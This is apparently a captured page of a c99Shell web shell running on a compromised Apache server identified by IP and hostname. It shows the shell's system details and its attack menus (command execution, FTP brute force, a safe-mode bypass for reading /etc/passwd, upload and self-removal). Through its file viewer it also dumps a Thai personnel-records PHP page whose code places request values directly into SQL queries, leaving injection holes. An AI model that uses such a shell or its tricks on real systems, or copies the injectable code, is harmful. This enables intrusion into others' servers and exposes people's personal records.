110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/ drwxr-xr-x Free 52.61 GB of 127.8 GB (41.17%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/ drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: Edit_Family.php (13.31 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php
	//print_r($_REQUEST);
	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>ЎГШіТ·УЎТГ Login ЎиН№</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../include/Function.php" );
	    require_once( "../include/FunctionDB.php" );
	
		/**  Create Database Object  */
		$dbObj = new DBConn;
		
		/**  Config Table for This Page  */
		$myTable = "personal_tb";
		
		$Username = $valid_user;

		$query1 = " SELECT * FROM prefix RIGHT JOIN people_tb ON prefix.prefixId=people_tb.prefixId  WHERE people_tb.Teacher_code = '$Teacher_code' AND people_tb.People_Id = '$People_Id' AND people_tb.Status = '$Status' ";
		$result1= mysql_query($query1);
		$rs1 = mysql_fetch_array($result1);

		$sql = " SELECT * FROM $myTable  WHERE  Teacher_code='$Teacher_code' ";
		$res = mysql_query($sql);
		$rs= mysql_fetch_array($res);

		$sql2 = " SELECT * FROM prefix";
		$res2 = mysql_query($sql2);	
		
		list($d,$m,$y) = split('/',$_REQUEST["Birth_date"]);
		$Date = ($y+543)."-".$m."-".$d;
		$People_idcard = str_replace("-","",$_REQUEST["People_idcard"]);

		//*** Update Condition ***//
			if($_POST["hdnCmd"] == "Update")
			{
				$strSQL = "UPDATE people_tb SET prefixId = '".$_POST["Prefix"]."' ,People_name = '".$_POST["People_name"]."' ,People_surname = '".$_POST["People_surname"]."' ,People_birth = '".$Date."' ,People_idcard = '".$People_idcard."' ,People_rank = '".$_POST["Rank"]."' ,Status = '".$_POST["Status"]."' ,People_legal = '".$_POST["People_legal"]."' ,People_incom = '".$_POST["People_incom"]."'  WHERE People_Id = '".$People_Id."' ";
				$objQuery = mysql_query($strSQL);
				echo "<script type='text/javascript'>alert('єС№·ЦЎўйНБЩЕаГХВєГйНВ');history.back();</script>";
				if(!$objQuery)
				{
					echo "Error Update [".mysql_error()."]";
				}
			}
			$strSQL = "SELECT * FROM people_tb";
			$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript" src="../js/ajaxScript.js"></script>
<title>ИЩ№ВмѕСІ№ТєШ¤ЕТЎГ - аѕФиБўйНБЩЕєШ¤ЕТЎГ</title>
<script type="text/javascript">
function CheckDoSubmit(){
  	var field1 = document.getElementById('Status');
	var field2 = document.getElementById('Prefix');
	var field3 = document.getElementById('People_name');
	var field4 = document.getElementById('People_idcard');
	var field5 = document.getElementById('Rank');
	
  	if(field1.value == ""){
		alert('ЎГШіТаЕЧНЎК¶Т№РєШ¤¤Е');
		return false;
  	}
	else if(field2.value == ""){
        alert('ЎГШіТаЕЧНЎ¤У№УЛ№йТЄЧиН');
        return false;
	}
	else if(field3.value == ""){
        alert('ЎГШіТЎГНЎЄЧиНбЕР№ТБКЎШЕ');
        return false;
	}
	else if(field4.value == ""){
        alert('ЎГШіТЎГНЎаЕў»ГРЁУµСЗєСµГ»ГРЄТЄ№');
        return false;
	}
		else if(field1.value == "єШµГ" && field5.value == ""){
        alert('ЎГШіТЎГНЎЕУґСєўН§єШµГ');
        return false;
	}
  	else{
    	document.frmMain.submit();
    	return true;
  	}
}

function check_name()
{
	var field = document.getElementById('People_name');
	var RE_NAME = /^[a-zA-ZЎ-м\-]+$/;
	
	if(field.value == ""){
		return false;
  	}
  	else if(!RE_NAME.test(field.value))
	{
		alert("ЄЧиНµйН§а»з№µСЗНСЎЙГа·иТ№Сй№");
		field.value = "";
		return false;
	}
	else
	{
		return true;
	}
}

function check_surname()
{
	var field = document.getElementById('People_surname');
	var RE_NAME = /^[a-zA-ZЎ-м\-]+$/;
	
	if(field.value == ""){
		return false;
  	}
  	else if(!RE_NAME.test(field.value))
	{
		alert("ЄЧиНµйН§а»з№µСЗНСЎЙГа·иТ№Сй№");
		field.value = "";
		return false;
	}
	else
	{
		return true;
	}
}

function check_num()
{
		var field = document.getElementById('People_idcard');
		if(field.value.length<17)
		{
			alert('аЕў»ГРЁУµСЗєСµГ»ГРЄТЄ№ЁРµйН§БХ 13 ЛЕСЎ');
			return false;
		}
}
</script>
<style type="text/css">
<!--
.style1 {color: #FF0000}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1000" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><span class="NOTE">бєєїНГмБбЎйдўўйНБЩЕ¤ГНє¤ГСЗ </span></strong>
		&raquo; <strong><a href="Show_Family.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>">ўйНБЩЕ»ГРЗСµФ¤ГНє¤ГСЗ</a></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="370" align="center" valign="top">
		<form name="frmMain" method="post"  action="<?=$_SERVER["PHP_SELF"];?>" >
		<input type="hidden" name="hdnCmd" value="Update">
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
          <tr >
            <td height="40" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="3" bordercolor="#CCCCCC" style="border:0px solid gray">
			  <tr bgcolor="#B6D0F1" >
                <td height="23" colspan="4" align="center" nowrap="nowrap" bordercolor="#CCCCCC" background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14 style15"><font color="#003366"><strong><font face="Tahoma">ўйНБЩЕ¤ГНє¤ГСЗ </font></strong></font></td>
              </tr>
              <tr bgcolor="#ECF5FF" >
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td colspan="2" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">&nbsp;</td>
              </tr>
              <tr bgcolor="#ECF5FF" >
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">К¶Т№РєШ¤¤Е</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td colspan="2" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">
					<select name="Status" id="Status" style="text-align:left; width:90px">
					  <option value="єФґТ" <?=($Status=="єФґТ" )?"selected":"";?>>єФґТ</option>
					  <option value="БТГґТ" <?=($Status=="БТГґТ" )?"selected":"";?>>БТГґТ</option>
					  <option value="¤ЩиКБГК" <?=($Status=="¤ЩиКБГК" )?"selected":"";?>>¤ЩиКБГК</option>
					  <option value="єШµГ" <?=($Status=="єШµГ" )?"selected":"";?>>єШµГ</option>
                    </select>
					<span class="style1">*</span> </td>
              </tr>
              <tr bgcolor="#ECF5FF" >
                <td width="146" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ЄЧиН 
                  - №ТБКЎШЕ</font></td>
                <td width="1" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td colspan="2" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td class="style15"><select name="Prefix" id="Prefix" style="text-align:left; width:90px">
                      <?php 
									$query6 = " SELECT * FROM prefix";
									$result6 = $dbObj->execQuery($query6);
									while($rs6 = mysql_fetch_array($result6)){
									?>
                      				<option value="<?=$rs6["prefixId"];?>" <?=($rs6["prefixId"]==$rs1["prefixId"] )?"selected":"";?>><?=$rs6["prefixName"];?></option>
                      				<?
										}
									?>
                    </select>
&nbsp;ЄЧиН
						<input name="People_name" type="text" id="People_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="29" onblur="check_name();" value="<?=$rs1["People_name"];?>"/>
						<span class="style1">*</span>
						&nbsp;№ТБКЎШЕ
						<input name="People_surname" type="text" id="People_surname" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="29" onblur="check_surname();"  value="<?=$rs1["People_surname"];?>"/>
						<span class="style1">*</span>
						</td>
                    </tr>
                </table></td>
              </tr>
			  <tr bgcolor="#ECF5FF" >
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">аЕў»ГРЁУµСЗ»ГРЄТЄ№</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td colspan="2" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><input name="People_idcard" type="text" id="People_idcard" value="<?=citizenID_format($rs1['People_idcard']);?>" size="25" maxlength="17" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"onkeypress="return (NumOnly(event) &amp;&amp; changeFormatPin(this,event));" onblur="check_num();"/>
                  <span class="style1">*</span> </td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">аЎФґаБЧиН</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td width="172" align="left">
					<script>DateInput('Birth_date', true,'DD/MM/YYYY','<?=(isset($rs1["People_birth"]))?ymdT2dmyE($rs1["People_birth"]):date("d/m/Y");?>');</script>
				</td>
                <td width="442" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">
				 <?
				if($Status == "єШµГ") { ?>
					<input type="checkbox" name="People_legal" id="People_legal" value="дБиєГГЕШ№ФµАТЗР" <?=(trim($rs1["People_legal"])=="дБиєГГЕШ№ФµАТЗР")?"checked":"";?>/>
					ВС§дБиєГГЕШ№ФµАТЗР
                    <input type="checkbox" name="People_incom" id="People_incom" value="дГй¤ЗТБКТБТГ¶" <?=(trim($rs1["People_incom"])=="дГй¤ЗТБКТБТГ¶")?"checked":"";?>/>
                    а»з№єШµГдГй¤ЗТБКТБТГ¶  ЛГЧНаКБЧН№дГй¤ЗТБКТБТГ¶				</td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">єШµГЕУґСє·Хи</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
                <td align="left">
				<input name="Rank" type="text" id="Rank" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="28"  value="<?=$rs1["People_rank"];?>" /></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style1">(ЎГНЎа©ѕТР єШµГ)</td>
              </tr>
		<? }
				  else echo "";?>
              <tr bgcolor="#CFE0F5">
                <td height="20" colspan="4" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr bgcolor="#CFE0F5">
                <td height="20" colspan="4" bgcolor="#FFFFFF"><div align="center">
				  <input name="btnAdd" type="button" id="btnUpdate" value="єС№·ЦЎўйНБЩЕ" OnClick="frmMain.hdnCmd.value='Update';frmMain.submit();">
				  <input type="hidden" name="Teacher_code" value="<?=$Teacher_code ?>"><input type="hidden" name="People_Id" value="<?=$People_Id ?>">
                  &nbsp;
                  <input type="reset" name="Reset" value=" а¤ЕХВГмўйНБЩЕ" />
                </div></td>
              </tr>
            </table>
			</td>
          </tr>
          </table>
        </form></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--